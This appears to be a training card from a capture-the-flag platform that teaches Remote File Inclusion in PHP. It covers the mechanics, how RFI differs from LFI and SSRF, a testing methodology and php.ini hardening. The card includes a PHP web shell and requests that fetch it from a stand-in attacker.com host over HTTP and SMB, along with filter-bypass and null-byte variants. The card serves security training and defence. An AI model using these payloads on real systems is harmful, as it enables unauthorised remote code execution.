Browse CTFs New CTF Sign in

RFI

web_auth_sessions Difficulty 1–5 30 min certifiable

Theory

Why This Matters

Remote File Inclusion was a dominant attack vector in the mid-2000s to mid-2010s, responsible for mass compromises of PHP-based CMS platforms. While modern PHP defaults have effectively disabled the allow_url_include directive required for true RFI, the vulnerability persists in legacy applications, misconfigured shared hosting environments, and custom PHP applications written before PHP 5.2. Understanding RFI is essential for assessments of legacy PHP infrastructure, and the conceptual distinction between RFI, LFI, and SSRF remains a source of confusion in security assessments and certifications.

Core Concept

Remote File Inclusion occurs when a PHP application uses a user-supplied URL as the path argument to include() or require(), and the PHP configuration has allow_url_include = On. PHP fetches the remote URL, downloads its content, and executes it as PHP code — allowing an attacker who controls a remote server to serve arbitrary PHP code for execution in the target application's context.

The violated invariant is that file inclusion paths must be developer-controlled constants, not user-supplied values — identical to LFI. The difference is the scope: LFI is constrained to files on the local filesystem; RFI fetches and executes content from external URLs.

The attacker precondition is: 1. The PHP application passes user-controlled input to include() or require(). 2. allow_url_include = On in php.ini (disabled by default since PHP 5.2.0, released 2006). 3. The server has outbound HTTP/S connectivity to the attacker's server (or the attacker controls an SMB share for Windows targets).

SMB-based RFI on Windows uses UNC paths (\attacker.comshareshell.php) rather than HTTP URLs, and does not require allow_url_include because SMB file access uses native Windows filesystem calls rather than PHP's URL wrappers.

PHP wrappers vs true RFI: php://input and data:// wrappers achieve RCE without network connectivity and without allow_url_fopen — these are LFI wrapper attacks, not RFI. The distinction matters for the remediation report.

DNS resolution as detection: when an attacker hosts a payload at http://attacker.com/shell.php and injects this URL into an RFI parameter, the target server must resolve attacker.com via DNS before connecting. Monitoring for unexpected outbound DNS queries and HTTP connections from web server processes is the primary detection mechanism.

Modern relevance: in contemporary assessments, true RFI is rare but high-impact when found. More commonly, testers encounter SSRF-like behaviour where the application fetches remote URLs — a related but distinct vulnerability class where code execution is not possible but server-side request forgery is.

Technical Deep-Dive

# Application: GET /page?template=home
# Vulnerable PHP: include($_GET['template'] . '.php');
# With allow_url_include=On

# Basic RFI — serve PHP shell from attacker server:
# On attacker machine: echo '<?php system($_GET["cmd"]); ?>' > shell.php
# python3 -m http.server 8080

GET /page?template=http://attacker.com:8080/shell
# PHP fetches http://attacker.com:8080/shell.php, executes it
# Follow-up RCE:
GET /page?template=http://attacker.com:8080/shell&cmd=id

# Windows SMB-based RFI (no allow_url_include required):
# Host SMB share: impacket-smbserver share /tmp/payloads -smb2support
GET /page?template=\\attacker.com\share\shell
# Windows PHP follows UNC path, executes shell.php from SMB share

# RFI filter bypasses:
# If application strips http://:
GET /page?template=HTTP://attacker.com/shell
GET /page?template=https://attacker.com/shell
GET /page?template=http:\\attacker.com\shell       # Windows path confusion
GET /page?template=//attacker.com/shell               # protocol-relative URL

# Null byte to bypass .php extension appending (PHP < 5.3.4):
GET /page?template=http://attacker.com/shell%00

# Testing for RFI with Burp Collaborator (blind confirmation):
GET /page?template=http://COLLABORATOR_SUBDOMAIN/test
# If Collaborator receives HTTP request: RFI confirmed (server fetched the URL)
# This also confirms outbound HTTP connectivity
<?php
// Vulnerable PHP code — allow_url_include = On in php.ini
$template = $_GET['template'];
include($template . '.php');     // Fetches and executes any URL

// Detecting RFI vs LFI vs SSRF:
// RFI: include($url)         → fetches + EXECUTES remote PHP
// LFI: include($local_path)  → reads + EXECUTES local file as PHP
// SSRF: file_get_contents($url) → fetches remote URL as DATA (no code exec)
//        curl_exec with user URL → same: data fetch, not inclusion

// Secure fix: strict allowlist
$allowed = ['home', 'about', 'contact'];
if (!in_array($_GET['template'], $allowed)) {
    die('Invalid template');
}
include($_GET['template'] . '.php');

// php.ini hardening:
// allow_url_include = Off   (must be Off; default since PHP 5.2)
// allow_url_fopen   = Off   (reduces SSRF surface; disable if possible)
// open_basedir      = /var/www/html  (restrict filesystem access)
?>
# Confirming PHP configuration (if phpinfo() is accessible):
curl https://target.example.com/phpinfo.php | grep -i 'allow_url'
# allow_url_include => On  → RFI is possible
# allow_url_include => Off → true RFI not possible; test LFI wrappers instead

# Automated scanning with Kadimus:
php kadimus.php -u 'https://target.example.com/page?template=' 
  -A rfi --rfi-host attacker.com

# Impacket SMB server for Windows RFI testing:
impacket-smbserver share /tmp/payloads -smb2support -username guest -password guest
# Then inject: \\attacker.com\share\shell in template parameter

Security Assessment Methodology

  1. Check PHP configuration — If phpinfo() is accessible, confirm allow_url_include status. If the application is on a hosting provider's legacy shared PHP stack, assume it may be enabled.
  2. Test with Burp Collaborator URL — Inject http://COLLABORATOR_SUBDOMAIN/test into file-inclusion parameters. An HTTP hit on the Collaborator confirms the server fetches remote URLs.
  3. Attempt RFI with hosted payload — Serve <?php echo phpinfo(); ?> from a local HTTP server. If it renders in the application response, RFI is confirmed with code execution.
  4. Test protocol variants — Try HTTP, HTTPS, and protocol-relative // URLs. Test uppercase HTTP:// to bypass case-sensitive filters.
  5. Test SMB for Windows targets — Host a Samba share via Impacket and inject \attacker.comshareshell for Windows targets.
  6. Distinguish from SSRF — If the server fetches the URL but only returns data (not executes), the vulnerability is SSRF not RFI. Document accurately with the correct remediation.
  7. Confirm impact clearly — Use <?php phpinfo(); ?> as the payload proof; do not deploy persistent shells in penetration tests without explicit scope authorisation.

Defensive Countermeasure — Set allow_url_include = Off in php.ini — this is the default since PHP 5.2 and is the single most important mitigation. Also set allow_url_fopen = Off if the application does not require HTTP fetching (this also removes the http:// and ftp:// stream wrappers from include()). Implement a strict allowlist of permitted template names and resolve them to absolute paths with realpath() before inclusion. For Windows environments, block outbound SMB (port 445) at the perimeter firewall to prevent UNC-based RFI from reaching attacker infrastructure.

Common Assessment Errors

  • Testing RFI on modern PHP without checking allow_url_include — PHP 5.2+ has allow_url_include = Off by default. Testing HTTP URL injection on a modern PHP stack and receiving no response does not mean no LFI exists — test LFI and wrapper paths instead.
  • Confusing RFI with SSRF — An application that fetches a URL via file_get_contents() or curl is exhibiting SSRF, not RFI. The exploitation paths and remediations differ. Mislabelling inflates or deflates severity.
  • Missing the SMB vector on Windows — HTTP-based RFI may be blocked by outbound firewall rules while SMB (port 445) is permitted on internal networks.
  • Not confirming code execution vs data fetch — Always confirm that the remote content is executed (phpinfo() renders in response) rather than merely fetched and reflected (SSRF). The difference determines the severity rating.
  • Forgetting null byte on old PHP — PHP < 5.3.4 is rare today but appears in CTF scenarios emulating legacy environments. Always check the PHP version before dismissing null-byte testing.
  • Not testing filter bypasses — Simple http:// string filters are commonly bypassed with uppercase HTTP://, double-slash //, or https variants. Always test multiple URL-format variants.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0009 Knowledge of application vulnerabilities Develops understanding of RFI mechanics, PHP configuration requirements, and distinction from LFI and SSRF
K0070 Knowledge of system and application security threats and vulnerabilities Covers PHP version history, allow_url_include defaults, and SMB-based RFI on Windows
S0001 Skill in conducting vulnerability scans Trains Collaborator-based RFI confirmation and Kadimus usage
S0044 Skill in mimicking threat behaviors Builds adversarial skill in serving PHP payloads and confirming remote code execution
T0028 Test system security controls Covers php.ini configuration review and allow_url_include enforcement
T0591 Perform penetration testing Provides complete RFI methodology including Windows SMB path and blind confirmation

Further Reading

  • Remote File Inclusion — OWASP Testing Guide v4.2 (OTG-INPVAL-011) — OWASP Foundation
  • PHP allow_url_include Security Implications — PHP Manual Security chapter
  • File Inclusion Vulnerabilities — PortSwigger Web Security Academy

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.